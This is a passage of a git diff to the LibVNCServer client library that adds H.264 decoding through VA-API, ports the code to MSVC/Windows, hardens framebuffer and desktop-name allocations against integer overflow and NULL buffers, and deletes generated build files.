+ p->chroma_offset_l0[0][1]=0;
+ p->luma_weight_l1_flag = 1;
+ p->chroma_weight_l1_flag = 1;
+ p->luma_weight_l0[0]=0x01;
+ for (i = 0; i < 32; i++) {
+ p->RefPicList0[i].flags = VA_PICTURE_H264_INVALID;
+ p->RefPicList1[i].flags = VA_PICTURE_H264_INVALID;
+ }
+ p->RefPicList1[0].picture_id = 0xffffffff;
+}
+
+static void SetVASliceParameterBufferH264_Intra(VASliceParameterBufferH264 *p, int first)
+{
+ int i;
+ memset(p, 0, sizeof(VASliceParameterBufferH264));
+ p->slice_data_size = 0;
+ p->slice_data_bit_offset = 64;
+ p->slice_alpha_c0_offset_div2 = 2;
+ p->slice_beta_offset_div2 = 2;
+ p->slice_type = 2;
+ if (first) {
+ p->luma_weight_l0_flag = 1;
+ p->chroma_weight_l0_flag = 1;
+ p->luma_weight_l1_flag = 1;
+ p->chroma_weight_l1_flag = 1;
+ } else {
+ p->chroma_weight_l0_flag = 1;
+ p->chroma_weight_l0[0][0]=1;
+ p->chroma_offset_l0[0][0]=0;
+ p->chroma_weight_l0[0][1]=1;
+ p->chroma_offset_l0[0][1]=0;
+ p->luma_weight_l1_flag = 1;
+ p->chroma_weight_l1_flag = 1;
+ p->luma_weight_l0[0]=0x01;
+ }
+ for (i = 0; i < 32; i++) {
+ p->RefPicList0[i].flags = VA_PICTURE_H264_INVALID;
+ p->RefPicList1[i].flags = VA_PICTURE_H264_INVALID;
+ }
+ p->RefPicList1[0].picture_id = 0xffffffff;
+ p->RefPicList0[0].picture_id = 0xffffffff;
+}
+
+static void nv12_to_rgba(const VAImage vaImage, rfbClient *client, int ch_x, int ch_y, int ch_w, int ch_h)
+{
+ DebugLog(("%s: converting region (%d, %d)-(%d, %d) from NV12->RGBA\n", __FUNCTION__, ch_x, ch_y, ch_w, ch_h));
+
+ VAStatus va_status;
+ uint8_t *nv12_buf;
+ va_status = vaMapBuffer(va_dpy, vaImage.buf, (void **)&nv12_buf);
+ CHECK_VASTATUS(va_status, "vaMapBuffer(DecodedData)");
+
+ /* adjust x, y, width, height of the affected area so
+ * x, y, width and height are always even.
+ */
+ if (ch_x % 2) { --ch_x; ++ch_w; }
+ if (ch_y % 2) { --ch_y; ++ch_h; }
+ if ((ch_x + ch_w) % 2) { ++ch_w; }
+ if ((ch_y + ch_h) % 2) { ++ch_h; }
+
+ /* point nv12_buf and dst to upper left corner of changed area */
+ uint8_t *nv12_y = &nv12_buf[vaImage.offsets[0] + vaImage.pitches[0] * ch_y + ch_x];
+ uint8_t *nv12_uv = &nv12_buf[vaImage.offsets[1] + vaImage.pitches[1] * (ch_y / 2) + ch_x];
+ uint32_t *dst = &((uint32_t*)client->frameBuffer)[client->width * ch_y + ch_x];
+
+ /* TODO: optimize R, G, B calculation. Possible ways to do this:
+ * - use lookup tables
+ * - convert from floating point to integer arithmetic
+ * - use MMX/SSE to vectorize calculations
+ * - use GPU (VA VPP, shader...)
+ */
+ int src_x, src_y;
+ for (src_y = 0; src_y < ch_h; src_y += 2) {
+ for (src_x = 0; src_x < ch_w; src_x += 2) {
+ uint8_t nv_u = nv12_uv[src_x];
+ uint8_t nv_v = nv12_uv[src_x + 1];
+ uint8_t nv_y[4] = { nv12_y[ src_x], nv12_y[ src_x + 1],
+ nv12_y[vaImage.pitches[0] + src_x], nv12_y[vaImage.pitches[0] + src_x + 1] };
+
+ int i;
+ for (i = 0; i < 4; ++i) {
+ double R = 1.164 * (nv_y[i] - 16) + 1.596 * (nv_v - 128);
+ double G = 1.164 * (nv_y[i] - 16) - 0.391 * (nv_u - 128) - 0.813 * (nv_v - 128);
+ double B = 1.164 * (nv_y[i] - 16) + 2.018 * (nv_u - 128);
+
+ /* clamp R, G, B values. For some Y, U, V combinations,
+ * the results of the above calculations fall outside of
+ * the range 0-255.
+ */
+ if (R < 0.0) R = 0.0;
+ if (G < 0.0) G = 0.0;
+ if (B < 0.0) B = 0.0;
+ if (R > 255.0) R = 255.0;
+ if (G > 255.0) G = 255.0;
+ if (B > 255.0) B = 255.0;
+
+ dst[client->width * (i / 2) + src_x + (i % 2)] = 0
+ | ((unsigned int)(R + 0.5) << client->format.redShift)
+ | ((unsigned int)(G + 0.5) << client->format.greenShift)
+ | ((unsigned int)(B + 0.5) << client->format.blueShift);
+ }
+ }
+
+ nv12_y += 2 * vaImage.pitches[0];
+ nv12_uv += vaImage.pitches[1];
+ dst += 2 * client->width;
+ }
+
+ CHECK_SURF(va_surface_id[sid]);
+ va_status = vaUnmapBuffer(va_dpy, vaImage.buf);
+ CHECK_VASTATUS(va_status, "vaUnmapBuffer(DecodedData)");
+}
+
+#endif /* LIBVNCSERVER_CONFIG_LIBVA */
diff --git a/libvncclient/listen.c b/libvncclient/listen.c
index c91ad6e..6d4ad54 100644
--- a/libvncclient/listen.c
+++ b/libvncclient/listen.c
@@ -27,11 +27,13 @@
#endif
#include <unistd.h>
#include <sys/types.h>
-#ifdef __MINGW32__
+#ifdef WIN32
#define close closesocket
#include <winsock2.h>
+#ifdef _MINGW32
#undef max
-#else
+#endif // #ifdef _MINGW32
+#else // #ifdef WIN32
#include <sys/wait.h>
#include <sys/utsname.h>
#endif
@@ -46,7 +48,7 @@
void
listenForIncomingConnections(rfbClient* client)
{
-#ifdef __MINGW32__
+#ifdef WIN32
/* FIXME */
rfbClientErr("listenForIncomingConnections on MinGW32 NOT IMPLEMENTED\n");
return;
diff --git a/libvncclient/rfbproto.c b/libvncclient/rfbproto.c
index 8064b56..f653850 100644
--- a/libvncclient/rfbproto.c
+++ b/libvncclient/rfbproto.c
@@ -26,6 +26,7 @@
#ifdef __STRICT_ANSI__
#define _BSD_SOURCE
#define _POSIX_SOURCE
+#define _XOPEN_SOURCE 600
#endif
#ifndef WIN32
#include <unistd.h>
@@ -52,6 +53,12 @@
#endif
#include <jpeglib.h>
#endif
+
+#ifndef _MSC_VER
+/* Strings.h is not available in MSVC */
+#include <strings.h>
+#endif
+
#include <stdarg.h>
#include <time.h>
@@ -62,6 +69,10 @@
#include "minilzo.h"
#include "tls.h"
+#ifdef _MSC_VER
+# define snprintf _snprintf /* MSVC went straight to the underscored syntax */
+#endif
+
/*
* rfbClientLog prints a time-stamped message to the log file (stderr).
*/
@@ -156,6 +167,10 @@
static void CopyRectangle(rfbClient* client, uint8_t* buffer, int x, int y, int w, int h) {
int j;
+ if (client->frameBuffer == NULL) {
+ return;
+ }
+
#define COPY_RECT(BPP) \
{ \
int rs = w * BPP / 8, rs2 = client->width * BPP / 8; \
@@ -258,6 +273,9 @@
static rfbBool HandleZRLE24Down(rfbClient* client, int rx, int ry, int rw, int rh);
static rfbBool HandleZRLE32(rfbClient* client, int rx, int ry, int rw, int rh);
#endif
+#ifdef LIBVNCSERVER_CONFIG_LIBVA
+static rfbBool HandleH264 (rfbClient* client, int rx, int ry, int rw, int rh);
+#endif
/*
* Server Capability Functions
@@ -387,8 +405,8 @@
return FALSE;
}
setbuf(rec->file,NULL);
- fread(buffer,1,strlen(magic),rec->file);
- if (strncmp(buffer,magic,strlen(magic))) {
+
+ if (fread(buffer,1,strlen(magic),rec->file) != strlen(magic) || strncmp(buffer,magic,strlen(magic))) {
rfbClientLog("File %s was not recorded by vncrec.\n",client->serverHost);
fclose(rec->file);
return FALSE;
@@ -569,6 +587,9 @@
rfbClientLog("%d) Received security type %d\n", loop, tAuth[loop]);
if (flag) continue;
if (tAuth[loop]==rfbVncAuth || tAuth[loop]==rfbNoAuth ||
+#if defined(LIBVNCSERVER_HAVE_GNUTLS) || defined(LIBVNCSERVER_HAVE_LIBSSL)
+ tAuth[loop]==rfbVeNCrypt ||
+#endif
(tAuth[loop]==rfbARD && client->GetCredential) ||
(!subAuth && (tAuth[loop]==rfbTLS || (tAuth[loop]==rfbVeNCrypt && client->GetCredential))))
{
@@ -1232,7 +1253,8 @@
client->si.format.blueMax = rfbClientSwap16IfLE(client->si.format.blueMax);
client->si.nameLength = rfbClientSwap32IfLE(client->si.nameLength);
- client->desktopName = malloc(client->si.nameLength + 1);
+ /* To guard against integer wrap-around, si.nameLength is cast to 64 bit */
+ client->desktopName = malloc((uint64_t)client->si.nameLength + 1);
if (!client->desktopName) {
rfbClientLog("Error allocating memory for desktop name, %lu bytes\n",
(unsigned long)client->si.nameLength);
@@ -1276,6 +1298,8 @@
if (!SupportsClient2Server(client, rfbSetPixelFormat)) return TRUE;
spf.type = rfbSetPixelFormat;
+ spf.pad1 = 0;
+ spf.pad2 = 0;
spf.format = client->format;
spf.format.redMax = rfbClientSwap16IfLE(spf.format.redMax);
spf.format.greenMax = rfbClientSwap16IfLE(spf.format.greenMax);
@@ -1342,6 +1366,10 @@
encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingCoRRE);
} else if (strncasecmp(encStr,"rre",encStrLen) == 0) {
encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingRRE);
+#ifdef LIBVNCSERVER_CONFIG_LIBVA
+ } else if (strncasecmp(encStr,"h264",encStrLen) == 0) {
+ encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingH264);
+#endif
} else {
rfbClientLog("Unknown encoding '%.*s'\n",encStrLen,encStr);
}
@@ -1410,6 +1438,10 @@
encs[se->nEncodings++] = rfbClientSwap32IfLE(client->appData.qualityLevel +
rfbEncodingQualityLevel0);
}
+#ifdef LIBVNCSERVER_CONFIG_LIBVA
+ encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingH264);
+ rfbClientLog("h264 encoding added\n");
+#endif
}
@@ -1807,7 +1839,8 @@
client->updateRect.x = client->updateRect.y = 0;
client->updateRect.w = client->width;
client->updateRect.h = client->height;
- client->MallocFrameBuffer(client);
+ if (!client->MallocFrameBuffer(client))
+ return FALSE;
SendFramebufferUpdateRequest(client, 0, 0, rect.r.w, rect.r.h, FALSE);
rfbClientLog("Got new framebuffer size: %dx%d\n", rect.r.w, rect.r.h);
continue;
@@ -2126,6 +2159,14 @@
}
#endif
+#ifdef LIBVNCSERVER_CONFIG_LIBVA
+ case rfbEncodingH264:
+ {
+ if (!HandleH264(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h))
+ return FALSE;
+ break;
+ }
+#endif
default:
{
@@ -2260,7 +2301,9 @@
client->updateRect.x = client->updateRect.y = 0;
client->updateRect.w = client->width;
client->updateRect.h = client->height;
- client->MallocFrameBuffer(client);
+ if (!client->MallocFrameBuffer(client))
+ return FALSE;
+
SendFramebufferUpdateRequest(client, 0, 0, client->width, client->height, FALSE);
rfbClientLog("Got new framebuffer size: %dx%d\n", client->width, client->height);
break;
@@ -2276,7 +2319,8 @@
client->updateRect.x = client->updateRect.y = 0;
client->updateRect.w = client->width;
client->updateRect.h = client->height;
- client->MallocFrameBuffer(client);
+ if (!client->MallocFrameBuffer(client))
+ return FALSE;
SendFramebufferUpdateRequest(client, 0, 0, client->width, client->height, FALSE);
rfbClientLog("Got new framebuffer size: %dx%d\n", client->width, client->height);
break;
@@ -2359,6 +2403,7 @@
#define UNCOMP -8
#include "zrle.c"
#undef BPP
+#include "h264.c"
/*
diff --git a/libvncclient/sockets.c b/libvncclient/sockets.c
index 76441f9..c09b555 100644
--- a/libvncclient/sockets.c
+++ b/libvncclient/sockets.c
@@ -24,6 +24,11 @@
#ifdef __STRICT_ANSI__
#define _BSD_SOURCE
+#ifdef __linux__
+/* Setting this on other systems hides definitions such as INADDR_LOOPBACK.
+ * The check should be for __GLIBC__ in fact. */
+# define _POSIX_SOURCE
+#endif
#endif
#include <unistd.h>
#include <errno.h>
@@ -33,7 +38,9 @@
#ifdef WIN32
#undef SOCKET
#include <winsock2.h>
+#ifdef MINGW32
#define EWOULDBLOCK WSAEWOULDBLOCK
+#endif
#define close closesocket
#define read(sock,buf,len) recv(sock,buf,len,0)
#define write(sock,buf,len) send(sock,buf,len,0)
@@ -52,6 +59,10 @@
#endif
#include "tls.h"
+#ifdef _MSC_VER
+# define snprintf _snprintf
+#endif
+
void PrintInHex(char *buf, int len);
rfbBool errorMessageOnReadFailure = TRUE;
@@ -79,6 +90,13 @@
int nn=n;
rfbClientLog("ReadFromRFBServer %d bytes\n",n);
#endif
+
+ /* Handle attempts to write to NULL out buffer that might occur
+ when an outside malloc() fails. For instance, memcpy() to NULL
+ results in undefined behaviour and probably memory corruption.*/
+ if(!out)
+ return FALSE;
+
if (client->serverPort==-1) {
/* vncrec playing */
rfbVNCRec* rec = client->vncRec;
@@ -100,7 +118,7 @@
diff.tv_sec--;
diff.tv_usec+=1000000;
}
-#ifndef __MINGW32__
+#ifndef WIN32
sleep (diff.tv_sec);
usleep (diff.tv_usec);
#else
@@ -111,7 +129,7 @@
rec->tv=tv;
}
- return (fread(out,1,n,rec->file)<0?FALSE:TRUE);
+ return (fread(out,1,n,rec->file) != n ? FALSE : TRUE);
}
if (n <= client->buffered) {
diff --git a/libvncclient/tls_openssl.c b/libvncclient/tls_openssl.c
index b6df946..00d031d 100644
--- a/libvncclient/tls_openssl.c
+++ b/libvncclient/tls_openssl.c
@@ -27,28 +27,57 @@
#include <openssl/rand.h>
#include <openssl/x509.h>
+#ifdef _MSC_VER
+typedef CRITICAL_SECTION MUTEX_TYPE;
+#define MUTEX_INIT(mutex) InitializeCriticalSection(&mutex)
+#define MUTEX_FREE(mutex) DeleteCriticalSection(&mutex)
+#define MUTEX_LOCK(mutex) EnterCriticalSection(&mutex)
+#define MUTEX_UNLOCK(mutex) LeaveCriticalSection(&mutex)
+#define CURRENT_THREAD_ID GetCurrentThreadId()
+#else
+typedef pthread_mutex_t MUTEX_TYPE;
+#define MUTEX_INIT(mutex) {\
+ pthread_mutexattr_t mutexAttr;\
+ pthread_mutexattr_init(&mutexAttr);\
+ pthread_mutexattr_settype(&mutexAttr, PTHREAD_MUTEX_RECURSIVE);\
+ pthread_mutex_init(&mutex, &mutexAttr);\
+}
+#define MUTEX_FREE(mutex) pthread_mutex_destroy(&mutex)
+#define MUTEX_LOCK(mutex) pthread_mutex_lock(&mutex)
+#define MUTEX_UNLOCK(mutex) pthread_mutex_unlock(&mutex)
+#define CURRENT_THREAD_ID pthread_self()
+#endif
+
+#ifndef _MSC_VER
#include <pthread.h>
+#endif
#include "tls.h"
+#ifdef _MSC_VER
+#include <BaseTsd.h> // That's for SSIZE_T
+typedef SSIZE_T ssize_t;
+#define snprintf _snprintf
+#endif
+
static rfbBool rfbTLSInitialized = FALSE;
-static pthread_mutex_t *mutex_buf = NULL;
+static MUTEX_TYPE *mutex_buf = NULL;
struct CRYPTO_dynlock_value {
- pthread_mutex_t mutex;
+ MUTEX_TYPE mutex;
};
static void locking_function(int mode, int n, const char *file, int line)
{
if (mode & CRYPTO_LOCK)
- pthread_mutex_lock(&mutex_buf[n]);
+ MUTEX_LOCK(mutex_buf[n]);
else
- pthread_mutex_unlock(&mutex_buf[n]);
+ MUTEX_UNLOCK(mutex_buf[n]);
}
static unsigned long id_function(void)
{
- return ((unsigned long) pthread_self());
+ return ((unsigned long) CURRENT_THREAD_ID);
}
static struct CRYPTO_dynlock_value *dyn_create_function(const char *file, int line)
@@ -59,7 +88,7 @@
malloc(sizeof(struct CRYPTO_dynlock_value));
if (!value)
goto err;
- pthread_mutex_init(&value->mutex, NULL);
+ MUTEX_INIT(value->mutex);
return value;
@@ -70,16 +99,16 @@
static void dyn_lock_function (int mode, struct CRYPTO_dynlock_value *l, const char *file, int line)
{
if (mode & CRYPTO_LOCK)
- pthread_mutex_lock(&l->mutex);
+ MUTEX_LOCK(l->mutex);
else
- pthread_mutex_unlock(&l->mutex);
+ MUTEX_UNLOCK(l->mutex);
}
static void
dyn_destroy_function(struct CRYPTO_dynlock_value *l, const char *file, int line)
{
- pthread_mutex_destroy(&l->mutex);
+ MUTEX_FREE(l->mutex);
free(l);
}
@@ -117,14 +146,14 @@
if (rfbTLSInitialized) return TRUE;
- mutex_buf = malloc(CRYPTO_num_locks() * sizeof(pthread_mutex_t));
+ mutex_buf = malloc(CRYPTO_num_locks() * sizeof(MUTEX_TYPE));
if (mutex_buf == NULL) {
rfbClientLog("Failed to initialized OpenSSL: memory.\n");
return (-1);
}
for (i = 0; i < CRYPTO_num_locks(); i++)
- pthread_mutex_init(&mutex_buf[i], NULL);
+ MUTEX_INIT(mutex_buf[i]);
CRYPTO_set_locking_callback(locking_function);
CRYPTO_set_id_callback(id_function);
@@ -145,7 +174,6 @@
{
unsigned char md5sum[16], fingerprint[40], *f;
rfbClient *client;
- char *prompt, *cert_str;
int err, i;
unsigned int md5len;
//char buf[257];
@@ -194,7 +222,7 @@
FD_SET(SSL_get_fd(ssl), &fds);
tv.tv_sec = ms / 1000;
- tv.tv_usec = (ms % 1000) * ms;
+ tv.tv_usec = (ms % 1000) * 1000;
r = select (SSL_get_fd(ssl) + 1, &fds, NULL, NULL, &tv);
@@ -203,8 +231,6 @@
static int wait_for_data(SSL *ssl, int ret, int timeout)
{
- struct timeval tv;
- fd_set fds;
int err;
int retval = 1;
@@ -237,7 +263,6 @@
SSL_CTX *ssl_ctx = NULL;
SSL *ssl = NULL;
int n, finished = 0;
- BIO *sbio;
ssl_ctx = SSL_CTX_new (SSLv23_client_method ());
SSL_CTX_set_default_verify_paths (ssl_ctx);
@@ -276,8 +301,6 @@
static rfbBool
InitializeTLSSession(rfbClient* client, rfbBool anonTLS)
{
- int ret;
-
if (client->tlsSession) return TRUE;
client->tlsSession = open_ssl_connection (client, client->sock, anonTLS);
@@ -310,7 +333,11 @@
if (ret != -1)
{
rfbClientLog("TLS handshake blocking.\n");
- sleep(1);
+#ifdef WIN32
+ Sleep(1000);
+#else
+ sleep(1);
+#endif
timeout--;
continue;
}
@@ -415,7 +442,6 @@
uint32_t authScheme;
rfbBool anonTLS;
// gnutls_certificate_credentials_t x509_cred = NULL;
- int ret;
if (!InitializeTLS()) return FALSE;
@@ -577,7 +603,7 @@
CRYPTO_set_id_callback(NULL);
for (i = 0; i < CRYPTO_num_locks(); i++)
- pthread_mutex_destroy(&mutex_buf[i]);
+ MUTEX_FREE(mutex_buf[i]);
free(mutex_buf);
mutex_buf = NULL;
}
diff --git a/libvncclient/vncviewer.c b/libvncclient/vncviewer.c
index 4153c97..b12116c 100644
--- a/libvncclient/vncviewer.c
+++ b/libvncclient/vncviewer.c
@@ -21,6 +21,15 @@
* vncviewer.c - the Xt-based VNC viewer.
*/
+#ifdef WIN32
+#undef SOCKET
+#include <winsock2.h>
+#endif
+
+#ifdef _MSC_VER
+#define strdup _strdup /* Prevent POSIX deprecation warnings */
+#endif
+
#ifdef __STRICT_ANSI__
#define _BSD_SOURCE
#define _POSIX_SOURCE
@@ -40,12 +49,10 @@
static void DummyRect(rfbClient* client, int x, int y, int w, int h) {
}
-#ifdef __MINGW32__
+#ifdef WIN32
static char* NoPassword(rfbClient* client) {
return strdup("");
}
-#undef SOCKET
-#include <winsock2.h>
#define close closesocket
#else
#include <stdio.h>
@@ -53,9 +60,9 @@
#endif
static char* ReadPassword(rfbClient* client) {
-#ifdef __MINGW32__
+#ifdef WIN32
/* FIXME */
- rfbClientErr("ReadPassword on MinGW32 NOT IMPLEMENTED\n");
+ rfbClientErr("ReadPassword on Windows NOT IMPLEMENTED\n");
return NoPassword(client);
#else
int i;
@@ -82,16 +89,38 @@
#endif
}
static rfbBool MallocFrameBuffer(rfbClient* client) {
+ uint64_t allocSize;
+
if(client->frameBuffer)
free(client->frameBuffer);
- client->frameBuffer=malloc(client->width*client->height*client->format.bitsPerPixel/8);
+
+ /* SECURITY: promote 'width' into uint64_t so that the multiplication does not overflow
+ 'width' and 'height' are 16-bit integers per RFB protocol design
+ SIZE_MAX is the maximum value that can fit into size_t
+ */
+ allocSize = (uint64_t)client->width * client->height * client->format.bitsPerPixel/8;
+
+ if (allocSize >= SIZE_MAX) {
+ rfbClientErr("CRITICAL: cannot allocate frameBuffer, requested size is too large\n");
+ return FALSE;
+ }
+
+ client->frameBuffer=malloc( (size_t)allocSize );
+
+ if (client->frameBuffer == NULL)
+ rfbClientErr("CRITICAL: frameBuffer allocation failed, requested size too large or not enough memory?\n");
+
return client->frameBuffer?TRUE:FALSE;
}
static void initAppData(AppData* data) {
data->shareDesktop=TRUE;
data->viewOnly=FALSE;
+#ifdef LIBVNCSERVER_CONFIG_LIBVA
+ data->encodingsString="h264 tight zrle ultra copyrect hextile zlib corre rre raw";
+#else
data->encodingsString="tight zrle ultra copyrect hextile zlib corre rre raw";
+#endif
data->useBGR233=FALSE;
data->nColours=0;
data->forceOwnCmap=FALSE;
@@ -129,6 +158,9 @@
/* default: use complete frame buffer */
client->updateRect.x = -1;
+ client->frameBuffer = NULL;
+ client->outputWindow = 0;
+
client->format.bitsPerPixel = bytesPerPixel*8;
client->format.depth = bitsPerSample*samplesPerPixel;
client->appData.requestedDepth=client->format.depth;
@@ -225,7 +257,8 @@
client->width=client->si.framebufferWidth;
client->height=client->si.framebufferHeight;
- client->MallocFrameBuffer(client);
+ if (!client->MallocFrameBuffer(client))
+ return FALSE;
if (!SetFormatAndEncodings(client))
return FALSE;
@@ -365,6 +398,12 @@
FreeTLS(client);
+ while (client->clientData) {
+ rfbClientData* next = client->clientData->next;
+ free(client->clientData);
+ client->clientData = next;
+ }
+
if (client->sock >= 0)
close(client->sock);
if (client->listenSock >= 0)
diff --git a/libvncclient/zrle.c b/libvncclient/zrle.c
index a14ad44..7f488b5 100644
--- a/libvncclient/zrle.c
+++ b/libvncclient/zrle.c
@@ -189,7 +189,7 @@
} /* while ( remaining > 0 ) */
if ( inflateResult == Z_OK ) {
- void* buf=client->raw_buffer;
+ char* buf=client->raw_buffer;
int i,j;
remaining = client->raw_buffer_size-client->decompStream.avail_out;
diff --git a/libvncserver-config b/libvncserver-config
deleted file mode 100755
index dfb3a50..0000000
--- a/libvncserver-config
+++ /dev/null
@@ -1,78 +0,0 @@
-#!/bin/sh
-
-prefix=/usr/local
-exec_prefix=${prefix}
-exec_prefix_set=no
-includedir=${prefix}/include
-libdir=${exec_prefix}/lib
-
-# if this script is in the same directory as libvncserver-config.in, assume not installed
-if [ -f "`dirname "$0"`/libvncserver-config.in" ]; then
- dir="`dirname "$0"`"
- prefix="`cd "$dir"; pwd`"
- includedir="$prefix"
- libdir="$prefix/libvncserver/.libs $prefix/libvncclient/.libs"
-fi
-
-usage="\
-Usage: LibVNCServer-config [--prefix[=DIR]] [--exec-prefix[=DIR]] [--version] [--link] [--libs] [--cflags]"
-
-if test $# -eq 0; then
- echo "${usage}" 1>&2
- exit 1
-fi
-
-while test $# -gt 0; do
- case "$1" in
- -*=*) optarg=`echo "$1" | sed 's/[-_a-zA-Z0-9]*=//'` ;;
- *) optarg= ;;
- esac
-
- case $1 in
- --prefix=*)
- prefix=$optarg
- if test $exec_prefix_set = no ; then
- exec_prefix=$optarg
- fi
- ;;
- --prefix)
- echo $prefix
- ;;
- --exec-prefix=*)
- exec_prefix=$optarg
- exec_prefix_set=yes
- ;;
- --exec-prefix)
- echo $exec_prefix
- ;;
- --version)
- echo 0.9.9
- ;;
- --cflags)
- if [ "$includedir" != /usr/include ]; then
- includes=-I"$includedir"
- fi
- echo "$includes"
- ;;
- --libs)
- libs=""
- for dir in $libdir; do
- libs="$libs -L$dir"
- if [ "`uname`" = "SunOS" ]; then
- # why only Solaris??
- libs="$libs -R$dir"
- fi
- done
- echo "$libs" -lvncserver -lvncclient -lnsl -lpthread -lz -lpng -ljpeg -lresolv
- ;;
- --link)
- echo gcc
- ;;
- *)
- echo "${usage}" 1>&2
- exit 1
- ;;
- esac
- shift
-done
-
diff --git a/libvncserver.pc b/libvncserver.pc
deleted file mode 100644
index 0bfe8b8..0000000
--- a/libvncserver.pc
+++ /dev/null
@@ -1,12 +0,0 @@
-prefix=/usr/local
-exec_prefix=${prefix}
-libdir=${exec_prefix}/lib
-includedir=${prefix}/include
-
-Name: LibVNCServer
-Description: A library for easy implementation of a VNC server.
-Version: 0.9.9
-Requires:
-Libs: -L${libdir} -lvncserver -lnsl -lpthread -lz -lpng -ljpeg -lresolv
-Cflags: -I${includedir}
-
diff --git a/libvncserver.pc.in b/libvncserver.pc.in
index f9273ea..d246052 100644
--- a/libvncserver.pc.in
+++ b/libvncserver.pc.in
@@ -7,6 +7,8 @@
Description: A library for easy implementation of a VNC server.
Version: @VERSION@
Requires:
-Libs: -L${libdir} -lvncserver @LIBS@ @WSOCKLIB@
+Requires.private: zlib
+Libs: -L${libdir} -lvncserver
+Libs.private: @LIBS@ @WSOCKLIB@
Cflags: -I${includedir}
diff --git a/libvncserver/.deps/auth.Plo b/libvncserver/.deps/auth.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncserver/.deps/auth.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncserver/.deps/cargs.Plo b/libvncserver/.deps/cargs.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncserver/.deps/cargs.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncserver/.deps/corre.Plo b/libvncserver/.deps/corre.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncserver/.deps/corre.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncserver/.deps/cursor.Plo b/libvncserver/.deps/cursor.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncserver/.deps/cursor.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncserver/.deps/cutpaste.Plo b/libvncserver/.deps/cutpaste.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncserver/.deps/cutpaste.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncserver/.deps/d3des.Plo b/libvncserver/.deps/d3des.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncserver/.deps/d3des.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncserver/.deps/draw.Plo b/libvncserver/.deps/draw.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncserver/.deps/draw.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncserver/.deps/filelistinfo.Plo b/libvncserver/.deps/filelistinfo.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncserver/.deps/filelistinfo.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncserver/.deps/filetransfermsg.Plo b/libvncserver/.deps/filetransfermsg.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncserver/.deps/filetransfermsg.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncserver/.deps/font.Plo b/libvncserver/.deps/font.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncserver/.deps/font.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncserver/.deps/handlefiletransferrequest.Plo b/libvncserver/.deps/handlefiletransferrequest.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncserver/.deps/handlefiletransferrequest.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncserver/.deps/hextile.Plo b/libvncserver/.deps/hextile.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncserver/.deps/hextile.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncserver/.deps/httpd.Plo b/libvncserver/.deps/httpd.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncserver/.deps/httpd.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncserver/.deps/main.Plo b/libvncserver/.deps/main.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncserver/.deps/main.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncserver/.deps/md5.Plo b/libvncserver/.deps/md5.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncserver/.deps/md5.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncserver/.deps/minilzo.Plo b/libvncserver/.deps/minilzo.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncserver/.deps/minilzo.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncserver/.deps/rfbcrypto_gnutls.Plo b/libvncserver/.deps/rfbcrypto_gnutls.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncserver/.deps/rfbcrypto_gnutls.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncserver/.deps/rfbcrypto_included.Plo b/libvncserver/.deps/rfbcrypto_included.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncserver/.deps/rfbcrypto_included.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncserver/.deps/rfbcrypto_openssl.Plo b/libvncserver/.deps/rfbcrypto_openssl.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncserver/.deps/rfbcrypto_openssl.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncserver/.deps/rfbregion.Plo b/libvncserver/.deps/rfbregion.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncserver/.deps/rfbregion.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncserver/.deps/rfbserver.Plo b/libvncserver/.deps/rfbserver.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncserver/.deps/rfbserver.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncserver/.deps/rfbssl_gnutls.Plo b/libvncserver/.deps/rfbssl_gnutls.Plo
deleted file mode 100644
